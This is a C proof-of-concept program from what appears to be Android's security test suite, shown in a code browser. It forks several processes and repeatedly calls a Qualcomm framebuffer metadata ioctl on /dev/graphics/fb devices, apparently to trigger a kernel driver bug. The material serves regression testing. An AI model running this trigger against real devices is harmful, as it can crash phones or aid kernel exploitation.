• Home
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1 /**
2  * Copyright (C) 2017 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 #define _GNU_SOURCE
17 #include <stdlib.h>
18 #include <string.h>
19 #include <sys/ioctl.h>
20 #include <sys/wait.h>
21 #include <unistd.h>
22 
23 #include <errno.h>
24 #include <fcntl.h>
25 #include <pthread.h>
26 #include <stdio.h>
27 #include <sys/mman.h>
28 #include <sys/socket.h>
29 #include <sys/stat.h>
30 #include <sys/time.h>
31 #include <sys/types.h>
32 #include "local_poc.h"
33 
main(int argc,char ** argv)34 int main(int argc, char **argv) {
35   int ret, count;
36   int j = 0;
37   int fd;
38   struct msmfb_metadata data;
39   void *addr;
40   int pc = 3;
41   char driver[32] = {0};
42 
43   for (int i = 0; i < 3; i++) {
44     if (snprintf(driver, sizeof(driver), "/dev/graphics/fb%d", i) < 0) {
45       exit(EXIT_FAILURE);
46     }
47     while (pc-- > 0) fork();
48 
49     fd = open(driver, O_RDWR, 0);
50     if (fd < 0) {
51       return -1;
52     }
53 
54     addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
55     if (addr == MAP_FAILED) {
56       close(fd);
57       return -1;
58     }
59 
60     count = 0;
61   retry:
62     memset(&data, 0x0, sizeof(data));
63     data.op = metadata_op_get_ion_fd;
64     ret = ioctl(fd, MSMFB_METADATA_GET, &data);
65 
66     close(data.data.fbmem_ionfd);
67     j++;
68     if (j < 10000) {
69       goto retry;
70     }
71 
72     munmap(addr, 4096);
73 
74     close(fd);
75   }
76   return 0;
77 }
78